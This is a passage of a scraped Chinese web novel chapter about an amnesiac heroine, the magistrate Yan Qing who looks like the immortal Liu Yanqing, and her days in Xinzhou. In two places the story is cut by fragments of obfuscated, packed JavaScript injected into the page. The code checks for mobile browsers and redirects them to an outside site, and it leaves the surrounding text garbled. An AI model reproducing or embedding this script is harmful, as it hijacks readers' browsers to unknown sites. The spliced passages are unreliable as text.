他的眼神从最初的惊讶逐渐变得明亮起来,眼中仿佛有星光闪烁,嘴角颤动,似乎有千言万语想要倾诉。 他的手指抬起,似乎想要触碰我的脸,却又在半空中停住,最终放下。 气氛变得不可言状。 一旁的孙寺不明所以地望着我们,笑着打破眼前的窘境。 “还以为大人和夫人是同路呢。莫非也是碰巧在此相遇?” 几乎同一时间,我们回答了孙寺的问题。 “是。” “不是。” 异口同声,倒是默契得很。 我抿紧嘴唇,恨不得把“是”字吞回去。又在下一秒看向眼前人的同时,和他不约而同嗤笑。 远处传来一群香客靠近的声音。 我偷偷瞄了一眼不远处,刚才方大仙离开的位置,果然,他站那儿看着呢。 用口型道了声谢,收回视线,对上眼前人的目光。 此刻还有旁人在场,不便交待我失忆的事情,也不好询问他我的名字。 只好见机行事,别露出破绽,等单独相处时再问不迟。 不就是夫人嘛,简单! 我笑着挽上眼前人的手臂。差点以为是我的错觉,他的身体一下子僵住,手臂不自觉地打直,两手握成拳。 难不成我和这位大人没有过肌肤之亲?我不是他夫人吗,怎么可能连手都没挽过?洞房花烛夜怎么搞的? 许久未见的两人说去清溪山的茶舍小叙片刻,我也跟去了。 往西去,就到了清溪茶舍,与山门前的光景不同,这里有亭台楼榭,也有曲折池塘,岸边有秋千。 随着春光渐盛,路边绽放的杏花,编织成一片锦绣。我一身杏色的交领襦裙正配一山春色蹁跹。 焚香煮茶,多年不见的故人说起从前的事。 从二人的谈话里我获取到了诸多有用的信息。 孙寺八年前在颜卿身边当差,后来调离信州,去了西北峡州。此次调离南剑州,正好路过清溪山。调离下旨前,我和这位大人刚定下成亲的日子,无奈错过。 这位大人姓颜,现任信州知县,今日休沐,听闻清溪山今日灵气最盛,许是有仙人下凡,特上山拜神祈祷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056740|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然不知道他从哪里听来的,不过还真说准了。 “近几年边疆局势动荡,东凉人几次进犯。贺家军伤亡惨重,我听说,就连贺家三将军也牺牲了。” 孙寺现在似乎在说西北边疆的战况。赵国和东凉交锋了数年,打打停停,不分上下。他说,自从东凉新任大将军上任以来,东凉军力大涨,赵国大将军贺祈骁那之后吃了几次败仗。 “贺将军可是常胜将军,几次吃败仗,定边军的势力也弱了。” 一边说,孙寺惆怅着端起茶盏饮下。 颜卿道:“贺大将军恐怕是受了三将军离世的影响。去年进京述职,陛下也为此事操劳费心。原本撤下的军职,不知该不该追加回去。” 我忍不住插了句话问为什么撤下三将军的军职。颜卿说,陛下膝下如今只剩一位公主待字闺中。本想将公主许配给三将军,成就一段郎才女貌的佳话。谁知三将军竟以心有所属为由,当庭拒婚。陛下龙颜大怒,这才革了他的军职。 我了然点头,一旁的孙寺叹息着眺望清溪山与世隔绝般的悠然。 “唉,打不完的仗。距离定边军最近的环州也快成了空城,走了不少人。” “环州离东凉不远,也是担心战火蔓延吧。” “还是信州好啊,中原腹地。” 说实话,他俩谈论了几个时辰,大部分内容我是听不懂的。 家国大事,总感觉离我很远。 我连自己的事都晕头转向,又是东凉又是定边军又是贺家军的,哪儿听得明白。 分别时,孙寺执意说要目送我们离开自己再上车。原本也打算和这位颜大人走的我,自然地上了他的马车。 暮色渐浓时,我与颜卿的马车终于驶离清溪山。 “孙寺已经走了。你可以放心大胆告诉我实情了。” 颜卿的声音平静而温和,却让我心头一紧。 “什、什么实情?” 呜哇,竟然结巴了。我的演技如此拙劣吗?好歹也是看过数十本戏文和几场皮影戏的人,不至于如此不堪吧。 他微微侧头,唇角勾起一抹若有若无的笑意,一副已然看穿我的表情。 谎话既然败露,也别怪我接下来说的事吓唬到你了。 我也懒得再遮掩,我将自己的经历娓娓道来,语气平淡得像是在讲述别人的故事。 然而,随着我每多说一句,颜卿的表情便愈发凝重。 故事落幕,他长叹了一口气。 “平安回来就好。” 他的语气过于平淡,让我不禁怀疑是不是自己讲得不够精彩。 他轻轻拍着我的臂膀,明明自己一脸伤感惆怅,却反倒安慰起我来。 马车沿着山路颠簸行进,车窗外的天空被染上了朱砂色,路过的树冠均被镀上一层金光,仿佛整个世界都被笼罩在一片温暖的余晖中。 这一天过得太顺利,不免生出一丝担忧。心里空落落的,总感觉缺少了一块。 颜卿坐在我身边,身姿端正,神情肃穆。 察觉到我的视线,他转过头,回以我一个世间最舒心的笑容。那张清隽的脸庞上尽是温柔,仿佛能抚平一切不安。 只差一点,到嘴边的话差点喊出了另一个名字。 像,实在太像了。 唯一的差别是黑发披散和全部束在头顶。 “还不知颜大人姓名?” “颜卿。” “砚清?!”我惊呼。 竟和医鹿山那位仙长同名?!长得相似也就罢了,竟然连名字也相似! 难道眼前的人其实是……! 他笑着抓过我的手,手心朝上,一笔一划写下他的名字。 “颜卿,彦页之颜,君臣之卿,跟前朝名臣颜真卿同字。” 我茅塞顿开,豁然开朗。又想到刚才瞬间冒出不切实际的想法,只觉得好笑离谱。 “孙寺说,我是你夫人?”我望向他,对上他看过来的目光,“是正经拜过堂的夫人吗?” 挽上颜卿手臂的时候我便一直怀疑眼前的男人当真是拜过堂的丈夫吗。 如果是,为什么他表现出极其震惊不自然的表情。 颜卿笑了笑,错开视线。沉默片刻,才缓缓开口:“只差一点。” 他收回覆盖在我手背上的手,眉目间沉了沉,似乎在犹豫要不要告诉我真相。 我直勾勾地盯着他,等待他的回答。 “成亲当天,拜堂之际,你……被人抓走了。” 那天,我竟忘了曾在梦中念到过颜卿的名字。 仿佛,从未发生过。 28. 颜如卿月 【入卿梦也】 “你以前,和别的男人做过这种事吗?” “我,是第一次。” “你是我的第一次。以后的每一次,都只会是你。” 黑暗中的声音满是怜爱。不见他身影,却被一股温暖环抱。我好似依偎在他怀中,静静沉睡。他有让人贪恋的气息,是我舍不得忘却的气息。 我梦到了一个叫“yanqing”的男人。 每次唤出他的姓名,他的耳根总会不自觉染上红晕。 刚才的话是什么意思?是过去的某段回忆,我所看见的听到的,都是过去的我和“yanqing”真切发生过的吗? 如果梦境是过去发生的事,那这个叫“yanqing”的男人一定知道我的事,保不准他就是知晓我姓名的人。 可是我记不住梦,醒来便全忘了。 颜卿,砚清。 天下真有这么巧的事吗? 【烟波醒渡】 马车在颠簸中前行,我靠在颜卿的肩上,困意渐渐袭来。我感觉到他深情微怔,但并没有推开我。 他的肩膀并不宽厚,却给人一种莫名的安心感。我能闻到他身上淡淡的墨香,混合檀木的气息。 许是公堂上坐得久了染上的吧。 不知过了多久,马车停下来。我迷迷糊糊睁开眼,在颜卿的搀扶下跳下马车。 夜色深沉,街道上空无一人,远处传来打更人的梆子声,在寂静的夜里显得格外清晰。 我抬头看向府邸的门匾,“信州府”,神情呆滞。青石板街道旁是只有绿叶的桂花树,树下的石凳上落了几片树叶。 “好熟悉的大门……好熟悉的街道……” 从某次对眼前的景象产生熟悉的恍惚起,我经常一下子愣住,然后发呆。 等到全身心都静下来时,脑海会一闪而过类似眼前看到的画面。 我敢笃定,那就是曾经发生过的,我呢,也大概率和身旁的人有或多或少的交集。 既然是旧识,也不必过分紧张,只管相信别人。 天塌了,要死了,不还有柳砚清嘛。 “颜大人果真是信州知县啊。” 我笑着转头看向与柳砚清极为相似但又大相径庭的人。 面色憔悴,眼底泛黑,气血不足,骨瘦如柴,善言善面。哪里有知县的样子。知县不该是大肚皮、长胡须、眉目凌厉吗? 很难想象医鹿山那位仙人如果变胖油腻会是什么样子……我默默噗嗤一笑,心里故意不念出他的名字,偷偷趣化他。 颜卿察觉到我的目光,微微侧过脸轻声道:“夜深了,先进府吧。” 他领我穿过大堂、二堂、三堂,每一步都配合我的步子走,始终与我并排。大堂的灯早灭了,黑黢黢静悄悄的。 穿过二堂,太师椅旁搁着件未收的官服。三堂檐下的灯笼轻轻摇晃,照得青砖地面忽明忽暗。 拐进后宅,迎风扑来淡淡的檀香。 先带我认了路,告诉茅房等地在哪儿后,来人告知客房收拾完毕。 我环顾客房,布置得简洁雅致。我转头看向颜卿,故意露出疑惑的神情:“嗯?” 颜卿见我神色有异,环顾一圈客房,并未发现什么问题,问道:“可是哪里不合心意?” 我眨眨眼,故作天真地问:“我们不是夫妻吗?夫妻不该睡一张床吗?” 颜卿顿时愣住,耳根以肉眼可见的速度泛红,不敢再直视我。 他轻咳了声,声音有些发紧:“可你记不清过往之事,贸然睡一张床,恐……我怕坏了姑娘清白。” 我看着他窘迫的样子,心中暗笑继续逗他:“我不记得,可你记得啊。苦等多年的妻子终于归家,你难道不想和我多说几句话吗?不想和我多相处一会儿吗?” 颜卿的脸更红了,声音轻得几乎听不见:“我自然想,可……” “想就对了,这才像夫妻嘛。” 我打断他的话,故意摆出一副理所当然的样子,“客房就先这样吧,日后有客人了再住。我行李也不多,就直接住你屋啦。” 颜卿显然被我大胆的言辞吓到了,陷入手足无措的窘境。 本想继续逗他,奈何困意来袭,颠簸了一天,我实在累得慌。 “好啦,我开玩笑的。辛苦收拾出来,我便在此住下啦。多谢颜大人的细心招待。” 颜卿肉眼可见松了一口气,吩咐仆从照顾好我后便要离开了。 “颜卿!” 我轻声唤住他。他停下脚步,转过身来,月光洒在他的肩头,勾勒出他修长的轮廓。 “嗯——做个好梦?” 颜卿的唇角扬起,月光融进他的眸子里。他点了点头,声音低沉而温和,如仲夏之月的夜风拂过。 “嗯,好梦。明天见。” 话语简短,说完他转身离去,衣袂在夜风中轻轻飘动,背影渐渐融入月色之中。 我曾在医鹿山见过无数次相似的背影,只是眼下的是道不尽的温柔。 不是没想过颜卿和柳砚清会不会长相相似,性格也相似。 这是我幻想中的柳砚清,给予我无条件的温柔,会笑、会脸红、会回应我无聊的玩笑话。 没有仙人身份的隔阂,放肆自己与我相处。 院墙外的树林沙沙作响,宛如静谧的夜语。 我抬头望向天空,繁星点点,像是撒落的珍珠,闪烁着微弱的光芒。 “明天见……明天见……” 我低声重复着他的话,嘴角不自觉地扬起一抹羞涩的笑意。 严格来讲,这是我与颜卿的初次见面,却有一种相见恨晚的感觉。他的温润如玉,他的沉稳内敛,都让我满心欢喜。 才不是因为那张脸呢! “师尊?你能听到我讲话吗?听不到也没关系,跟您报个平安。我刚到信州,暂且……遇到个好心人收留了我。信州府好热闹!师尊想必云游四海,也曾到过此地。唉,只是我一路风尘仆仆的,衣裳也破破旧旧的,寻思着要不要去找裁缝做件新衣裳。可兜里的银两几乎被我拿去吃吃喝喝,所剩无几……” 反省似的,我叹了口气。 “罢了,不说我了,师尊也不知道听了没。” 打了个超长哈欠,我擦了擦眼角的泪花。 “师尊我困了,得睡了。您也早点歇着,我……很想你。” 清晨天刚亮不久。本想补足我前日早起流失的睡眠,结果生生被府外的击鼓声吵醒。 被子蒙不住,窗户也关不住,我只好任命穿戴整齐出门去。 前门肯定是不能去了,我选择走后门。 推开门,清晨的雾气还未完全散去,街道上已经聚集了摆摊的商贩。 我绕到县衙正门外,站在人群后面,想看看堂堂信州知县是如何办案。 大堂之上,“明镜高悬”下颜卿端坐在案前,神情肃穆。深青色官服衬得他肤色白皙,倒是眼底的暗沉越发明显。 “堂下所跪何人?为何事而来?” 我踮起脚站在人群中,那副认真的模样,仿佛昨晚脸颊涨红羞涩之人与堂上之人毫无关系。 亲民清官,长得还帅,不愧是我选中的男人~ 堂下跪着的村民满脸焦急说道:“大人,求您为小人做主!我家娘子昨日喝了村里的井水后,突然腹痛难忍,如今已卧床不起。小人怀疑……怀疑有人在井里下了毒!” 颜卿听完沉声问道:“除了你家娘子,可还有其他人出现类似症状?” 村民连忙点头:“有!村里还有几户人家也出现了腹痛的症状,只是没有我家娘子严重。小人担心,若是再这样下去,我家娘子她……” 颜卿神色凝重,立刻吩咐身旁的师爷:“立刻派人去村里查看井水,并请大夫为村民诊治。水源关系百姓生活起居,此事重大,本官一定彻查到底!” 村民连连磕头:“多谢颜大人!多谢颜大人!” 身边的信州百姓也开始称赞起他。夸得那叫一个好听,几乎给颜卿从发丝一路夸到脚指头。 明明说的是堂上之人,为何我却突然生出一股害羞。 变相被夸眼光不错吧。 人群散去,我提起裙摆跨过公堂的木栏,穿过大堂追上颜卿的步子。我沉着嗓子,模仿老婆婆的声音喊住颜卿。 “颜大人!小人有要事相报!” 他当真以为是有人报案,回过头时脸上的威严和看到来人是我时闪出的错愕形成鲜明对比,逗得我忍不住噗嗤笑出声。 他也扬起唇角,眼中带着几分无奈几分宠溺。 我走到他身边,双手端在腹前朝他深鞠一躬。 “颜大人一大早就工作,辛苦啦。” 他笑着,修长的手指轻轻将我头上着急跑来,摇摇欲坠的白梅步摇往发髻内一推,动作温柔而细致。 指尖不经意间触碰到我的耳垂,带来一丝微凉,让我不由得微微一颤。 “吃过早膳没?” “还没呢,这不等着你一起嘛。” 我仰起头,冲他眨了眨眼。他闻言,唇角微微上扬,却又很快被他压下。 面对失忆重生的我,他没有选择疏离或是特殊对待,始终保持恰到好处的温柔,绝不越界。 “想吃什么?” 我歪着头,故作思考状,“嗯……包子馒头米粥面条?” 他自然地接住我的话,“是都吃还是任选其一?” “这个问题,就交给英明的颜大人来定夺啦。” 他无奈地摇了摇头,道:“我待会儿还有公务要办,今天就用厨房准备的早膳,晚上我带你去外面的酒楼吃。” 我重重点头,“好!” 颜卿的目光在我脸上停留了片刻,随即移开,转身吩咐下人准备用膳。 他的背影挺拔清瘦,深青色的官服衬得他愈发清冷如玉。 重生前的我,应该没有对颜卿做什么过分,伤害他的事吧…… 如此温柔之人,要是真做了什么对不起他的事,我会良心不安自残形愧抑郁而终的! 早膳很快端上来,热气腾腾的包子、白粥和小菜摆满了桌子。不多时又端来一碗素面。颜卿坐在我对面,先替我夹了一个包子。 “是白菜馅儿的,趁热吃。” 白菜馅一定是我从前最爱吃的,也是现在,从此刻起最爱吃的。 真的很好吃啊! 我鼓着脸感叹包子的一绝,抬头看向他时,却发现他的目光正落在我的脸上,眼底满是温柔的笑意。脸上不由得泛起红晕,羞涩着轻声说道:“你也吃啊。” 早膳过后,颜卿起身整理官服。我目送他离开,他走到门口时,突然在我身边停下脚步,转身看向我。 “我就在二堂,有事来找我便是,不必拘束。” 我笑着点头,挥手与他道别。他深深地看了我一眼,随即转身离去。 肚子也填饱了,我一个人在院子里踱步,人生地不熟的,多少有些 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我连忙摆手,“很舒服!出门右转就是后门,我想出去逛逛也方便。” 管家听了,眼中闪过一丝意味深长的笑意。 “夫人真的变了呢。” 我有些疑惑地看着他,管家却只是笑笑,没再多说什么,转身对侍女们吩咐道:“把衣裳放下吧。”随后恭敬地退了出去。 管家临走前,又回头对我说道:“夫人好好休息,待会儿午膳时间我再来叫您。” “好。谢谢。” 午膳时间颜卿并不在府上,交代完下属后便匆匆查案了。 我想去信州街市走走看,毕竟整日待在府里也闷得慌。 “夫人,您初来乍到,对信州不熟悉,独自出门恐怕不太安全。不如找个人陪您一起去吧。” 我想想也行,便先谢过管家。 他招呼了一位名叫桂花的姑娘过来,介绍道:“桂花以后就是夫人的贴身丫鬟了。这姑娘很是机灵能干,夫人觉得如何?” 我上下打量了桂花一番,他年纪不大,约莫十八九岁,穿着一身淡绿色的衣裙,笑起来时脸颊上还有两个浅浅的酒窝,显得格外灵动。见她眼神清澈举止得体,我心中莫名有了几分好感。 “谢谢管家,也谢谢桂花姑娘。” 桂花听了,连忙上前行礼:“桂花才要谢谢夫人。以后桂花一定会尽心尽力伺候好夫人。” 我笑着扶起她,“不必多礼。我见你莫名的熟悉,想必我们之前应该认识。就学从前一样,随意些就好。” 转念一想,忽觉语中有歧义。 若我与桂花旧识,岂不是初见时她还是个娃娃? 女大十八变,早该变了样才是。 桂花怔愣片刻,点了点头,主动走到我身侧,压抑不住内心的兴奋,向我介绍起信州的新奇玩意儿。 “夫人,您想去哪里逛逛?信州的街市热闹得很,有卖胭脂水粉的铺子,也有卖糕点小吃的摊子,还有不少新奇玩意儿呢。” 我顿时生出几分兴致。 从医鹿山一路出发到现在,我可一点没打扮过。两套衣服换着穿,一根发饰走天下。 再没见过学我如此质朴的姑娘家了。 信州的街市果然热闹非凡,街道两旁摆满了各式各样的摊子,叫卖声此起彼伏,空气中弥漫着各种食物的香气。 桂花一边走一边为我介绍:“夫人,前面那家‘锦绣坊’是信州最有名的胭脂铺子,前年刚开张那会儿围满了人,里面的胭脂水粉都是上等货,各家夫人都争着用呢。” 走进锦绣坊,店内陈设雅致,柜台上摆满了各式各样的胭脂水粉,香气…… 是我在医鹿山药草闻多了的缘故吗,这味道着实喜欢不起来。 我蹙着眉,想拉着桂花赶快离开。 眼疾手快老板娘见我们进来,连忙迎了上来笑容满面。 “这位夫人看着面生,是第一次来我们铺子吧?要不要试试我们新到的胭脂?颜色正,质地细腻,保准您喜欢。” 逃走失败。 我笑着摇头说不必了,想从她身边越过。 老板娘倒只顾着推销,管我要不要的架势,随手拿起一盒胭脂,轻轻打开,非得凑到我眼前让我看看。只见里面的颜色鲜艳而不俗,放在平常姑娘眼里确实不错。 可惜,对象是我。 桂花在一旁轻声说道:“夫人,这颜色很适合您,衬得肤色更白皙。要不试试?” 我笑着看了她一眼,摇头凑到她耳边小声说:“我受不了这味道,我们出去吧。” 桂花脸色一变,赶忙搀扶上我的臂弯,低声询问:“夫人没事吧?” 我摆摆手,捂着嘴皱着眉跟老板娘道谢:“想必是我近来孕吐得厉害,不能光顾老板的生意。铺子里的胭脂都不错,日后再来光顾。” 老板娘听了,立马明白,搀扶着我送往门口,“夫人身子要紧。等日后孩子出生了再来啊。” 管她有没有凭空怀孕,可算出来了。我深吸了口信州纯洁的空气,心情舒畅。桂花果然是了解我的,默契地没多问,继续领我又逛了几家铺子。 “不过夫人……没有怀孕吧?” 这孩子,到底是了解我还是不了解啊。 我拍拍她的肩膀,语重心长说道:“放心吧,你们颜大人动作没这么快。” 29. 信州烟雨 走到一处卖糖画的摊子前,桂花突然停下脚步。 “夫人,这糖画可好吃了,您要不要尝尝?” 我见她眼中满是期待,猜中了小姑娘的心思:“好啊,那便一人一个吧。” 摊主见我们停下,连忙热情地招呼:“夫人想要什么图案的?兔子、老虎、龙凤呈祥!要什么寓意的图案我都能给您画出来!” 我扫了眼摊上琳琅满目的糖画,转头问桂花想要哪个。她点了只兔子,我思索再三,决定角落里那只肥头大耳的 “夫人为何挑了这个?”桂花不解。 “不是有财运之意嘛。有钱,想吃什么有什么,不好吗?” 桂花似懂非懂。 摊主手脚麻利,不一会儿,一只活灵活现的糖兔和一只憨态可掬的……蛙?便递了过来。我二话不说,一口咬断蛙头,对上桂花错愕的眼神。 “多谢老板,我还是头一回吃糖呢。” 有记忆以来。 老板搅着糖浆笑呵呵道:“在咱们这儿,蛙谐音‘娃’,提前给您道喜啦。” “……?” 喜从何来?恭喜我傻到指蛙为鼀吗? 看着手中的蛙,忽然失了兴趣,我叹口气没由头地冒出句:“想吃螃蟹……” 桂花又是不解:“为何?” “因为‘蛙’不好吃,寓意不好。螃蟹好,‘蟹’同谢,老板就会说声谢谢,而不是恭喜我。” 桂花又似懂非懂。 我偷瞄她一眼,断然她定是没懂。 刚迈进府门,管家就迎了上来。见我们两手空空,他眉毛微妙地抬了抬。 李叔笑眯眯地端着手问道:“夫人今日逛得可还尽兴?” 我颔首道:“桂花带我逛了不少有趣的地方。该说不说,信州果然比光州还要繁华。” 管家听了,脸上露出欣慰的笑容,伸手指了指颜卿卧房的方向。 “大人已经处理完公务回府,正在房里换衣服。” 敞开房门的屋内,颜卿正端详手里一只精致的木雕盒子。脱下官服的男子,穿着一身月白色的长袍,整个人显得清雅如玉。 我躲在门外偷瞄清雅之人时,目光被墙壁上的一幅画吸引。 定是医鹿山待久的缘故,白梅和绿竹的一切皆能轻而易举勾走我的心神。 翠竹森森,绿荫垂地,枝叶参差交错。小径穿林而入,苔痕湿滑,似有竹叶沙沙作响。 林深处设一方石桌,二白衣人对坐弈棋。男子白衣素净,眉目清隽,执黑子沉吟,神思澹远;女子雪衣翩然,容色绝俗,持白子未落,眸光如秋水映空。疏竹之影斜映棋盘,黑白子如星罗棋布。 崖边老松斜伸,飞瀑如练。一白鹤闲立松下,偶尔振翅,抖落竹花点点。 好美的一幅画……只是那白衣人,为何与柳砚清颇有几分神似? 兴许是我念他至深吧。 见我立在门外,颜卿扬起唇角放下手中的木雕盒子,走到我面前,恰好挡去身后那幅图。 “今天去了胭脂铺?怎么没给自己添置一些?钱不够吗?” “不是不是,是我不喜欢那个味道,太刺鼻了。” 还是医鹿山的花香药香更适合我。 他轻轻一笑,抬手替我理了理一根翘起的发丝。 “还吃得下吗?或者,我带你出去走走。” “吃!吃了继续逛!” 刚准备兴冲冲地离开,忽又想起那幅画,我拉住颜卿的手臂,问道:“这墙上的画,可否与我讲讲?” 颜卿抬头看了眼,收回视线柔声道:“曾经一位少将军赠予我的。甚是喜欢,便挂在卧房每日欣赏。” “会作画的将军?!” 我不禁感慨着,视线总落向画中的男子,心绪似乎跟随着愈发专注的神情变得落寞。 颜卿察觉到我的异样,侧身一步遮去画卷拉回我的注意。 “走吧。” “嗯。” 暮色渐沉,信州长街华灯初上,人流如织。两侧商铺的灯笼连成一片暖色的光河,小贩的吆喝声与丝竹之音交织。这般盛世景象,想必少不了他的苦心经营。 颜卿走在我身侧,月白色的衣袂偶尔擦过我的袖口。他时不时侧首望来,灯火在他眸中流转,映出几分罕见的温柔。 “到了。” 他停在一座飞檐翘角的楼阁前,朱漆匾额上“遇仙楼”三个鎏金大字熠熠生辉。 “想你或许想尝尝蟹,便一直想带你来此。” 我难以置信地看向他,默默咽下喉间蠢蠢欲动的话。 这算是……心有灵犀吗? 刚踏入大堂,一阵喝彩声便扑面而来。只见中央戏台上,花脸武生正耍着九节鞭,银光如练。原来这酒楼竟养着信州最好的戏班,日日笙歌不重样。 雅间设在二楼临窗处,推开雕花木窗,整条繁华街景尽收眼底。颜卿执壶为我斟了杯茉莉香茶,氤氲热气中,山中初尝此茶的情景浮现脑海。 不许我发愣走神似的,颜卿适时夹来一整只螃蟹到我碗中。 “尝尝看,合不合口味。” 我照着他教我的方法品尝,想不到内里还有酒香。我惊喜地抬起头,他见我的表情嘴角扬起恰好的弧度。 到底是我思念过甚,还是颜卿与砚清过分相似,让我总不经意走神…… 我摇头晃脑甩出杂念,笑道:“不得不说,这酒味儿在我尝到过的酒里能排第二。” “哦?第一是何方仙酒?” “从医鹿山后山挖出来藏了三百年的酒。” “三百年度的佳酿?那一定很棒。” “可香了!我和师尊一口气!一坛酒!直接见——” 话脱口而出,我才发现自己说错了话,赶忙观察颜卿的表情。有了闻笙的经历,我真的很怕自己这张烂嘴又说错话。 他没有……生气吧? 颜卿察觉到我的视线,轻柔笑着问:“师尊和你也都喜欢喝酒?” 居然没有生气?我眨了眨眼,“嗯”了声,主动结束了话题。 酒过三巡,菜过五味,舞台上今日的剧目落下尾声。我们和全场食客一起为戏班子献上掌声。 夜色渐深,醉仙楼外的灯火依旧辉煌。 颜卿起身,朝微醺的我伸出手轻声说道:“怎么还给自己吃醉了?想去河边吹吹凉风吗?” 我重重点了点头,搭上他的手掌。 明明只是小小一壶酒,我竟有了醉意。若不是颜卿扶着我,恐怕出不了醉仙楼就先摔了。 颜卿说的河边,是信州最繁华的地带,璀璨天城笙歌不断。画舫上的姑娘弹着琵琶,唱着小曲儿。横跨河道的石桥上布满了挂满彩灯的架子,以及来来往往的恋人。 忽然想起了光州的彩灯节。 我轻轻扯了扯颜卿的衣袖。 “我之前在光州看了他们的彩灯节,可热闹了。” 颜卿笑了。也不晓得是笑我醉酒后说话的语气还是笑我居然几杯就醉了。 “一开始,光州的彩灯节本取名千灯节。你可知为何改了名?” 改名?好像确有此事,闻笙同我说过。 “好像是说,和别处的千灯节撞了名,所以改了?” “不错。” 人流逐渐变多,颜卿拉近和我距离,手背不小心蹭到我的手臂,又立马收回。 “千灯节在信州已有千年历史,本是当地人过去祈求风雨的祭祀活动……” 后面颜卿还说了很多,但我一个字也没听进去。眼睛始终盯着那只被我烫开的手。等颜卿唤醒我时,自己不听话的手已经抵达对岸,握住了那只滚烫的手。 “牵……” 我沙哑着嗓子,抿了抿唇,抬眸望向他深邃的眼眸。 “夫妻,不该牵手吗?” 自知我失忆重生后,颜卿从不提及过去,也从不问我是否想起了什么,只是默默地照顾我,陪伴我,好像从来都是如此,没有谁离开,也没有谁忘记了过去。 颜卿整日忙于公务,只有休沐日得空陪我出远门游山玩水。 “无聊无聊真无聊,医书看完看药书。抬头见花低见草,忽然想吃……桂、花、糕。” 信州每年秋季的桂花糕,不少其他州府的人慕名前来,整座信州府也因为开满枝头的桂花香气扑鼻。但因味道过于浓郁,所以被勤劳的糕点师傅摘下来制作成糕点售卖。 秋天啊……还得再等一个季节啊。 我抬了把竹椅放在房门口的院子里,背靠扶手腿挂椅背,百般无聊。 选了个最偏僻的房间,好处便是无人打扰,坏处便是过于清净。除了走后门的人,几乎没人会从我这儿经过。哪怕我冲上大街,随机挑选一位幸运儿揍他一顿再回来,府上也是无人知晓。 “神器啊神器,快给点提示,让我干点什么吧。否则,我要成废人一条,原地腐烂发臭了啊啊啊啊……” 白梅步摇被我抛上天空,落下接住。抛起又落。 “你再不显灵,我就把你插在桂花糕上供起来!” 如此被我玩弄,神器依旧不搭理我。 “是不是换了个造型,你就变懒了?以前好歹还从梦里带点东西来,现在什么都没有。” 它还是不理我。 神器确实是现在的白梅步摇。 离开光州那天,闻笙交还给我的是那支与他亲制一模一样的青竹发簪。在见到孙寺之前,我特意将白梅步摇取下揣进怀里,换上了闻笙送我的发簪。 然而,步摇在怀中发出共鸣,那是神器独有的感应。这意味着,现在的青竹发簪只是一支普通的发簪,并非神器。 那么,闻笙为何要给我这支发簪? 发簪是指引我寻找到下一个男人的信物,遇到闻笙所用的青竹发簪,有了白梅步摇后已经失去了意义,按理说应该收回,或者二者不可兼得,误导我。 难道是因为见我喜欢,方大仙特意留给我的吗?还是旧物消失,闻笙为我重新做了一支? 我想,大概是后者吧。 啊……好复杂,脑子好乱。讲真的,分析了一大通,连我自己也不知道在想什么。 总之,发簪还在就好,我挺喜欢的。对竹,一直有莫名的好感。 信州有一处“竹馆”,栽满了各种竹,每次走进那里,心中总有一种说不清的熟悉感,仿佛冥冥之中,我也曾在某个地方亲手栽种过一片竹林。 或许是前世的记忆?又或是被遗忘的梦中场景? 竹馆是信州供士族子弟学习的地方,自然也汇聚了诸多书籍。 我想找一本关于医仙葛榆的书,翻阅许久,只在一本记载了医药相关的书籍上见到了医仙的名号。 “自医仙于清溪山羽化登真后,便鲜少显圣凡尘,遂将医鹿山济世之职托付于其后嗣执掌。” 指尖划过泛黄的纸页,继续往后翻阅。 “关于医仙后嗣之真实名讳,世间鲜有传闻;其与医仙是否确有血脉之系,犹待后世稽考。” 奇怪,明明都说是后嗣了,为何还待考证是否有血缘关系呢? “有缘得神鹿指引入山者,皆言曾一窥现任医鹿山主真容。其眉目间虽有三分医仙遗韵,然风姿气度,倒与那疏花元君更为神似。” 疏花元君!这不是清溪山供奉的上仙之一么? 我急切地翻遍手中书卷,却再找不到关于这位元君的只字片语。灵光一闪,既是与花相关,或许该去寻那记载花草传说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056742|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的典籍。 果然!《万萼谱》,花神所著的人间草木典籍。 “我去……” 指尖突然僵在绘有花神真容的书页上,墨迹宛然。 “这也长得太像了吧……” 心里咯噔一下,我颓然跌坐在地,竹简散落身旁。医仙、花神、医鹿山……线索在脑海中纠缠交织。 “如今掌管医鹿山,与医仙有三分相似的仙人……那是不是就意味着,医仙葛榆……是柳砚清的父亲?而疏花元君,是他的娘亲?!” 我迫切还想继续求证,却再找不到能将医仙与花神联系在一起的只言片语。这般刻意的空白,反倒更令人心生疑窦。 颜卿忙于公务的时候,我常到勾栏瓦肆听戏喝茶。 时间久了,一些常客也成了眼熟客。例如现在刻意与我拼桌的姑娘。周围明明还有空出的位置,她偏要坐我这一桌。 连续光顾此地五日的我,与这姑娘也打了五次照面。可我们从来没有正经说过话。直到今天,她主动与我搭话。 “你从信州府后门出来的,你是颜大人府上的丫鬟?应该不对。你这身衣服就注定你不是丫鬟,更何况,丫鬟哪儿有时间天天出来听戏的。没有胭脂味,却有股药草味。所以你是颜大人的……夫人?” 我看着她,陷入沉思。虽然不知道那句“所以你是颜大人的夫人”是如何得出的结论,但这是我们第一次交谈,她竟然对我的事了解这么多。 看我一言不发,她谄媚地笑着说:“如果是的话,我想请夫人帮个忙。” “颜卿是清官,你找他帮忙,他不会拒绝的。” “正因为如此,所以才找你帮忙呀。” 我眼看着她从怀里取出一张纸递给我,上面写着的似乎是一位叫姜妍的姑娘的生辰八字。 “我不会算命。颜卿也不会。姑娘可以去清溪山问问。” 那姑娘笑着摆手,“夫人误会了。我是希望夫人您看看,我的生辰八字配不配得上颜大人。” 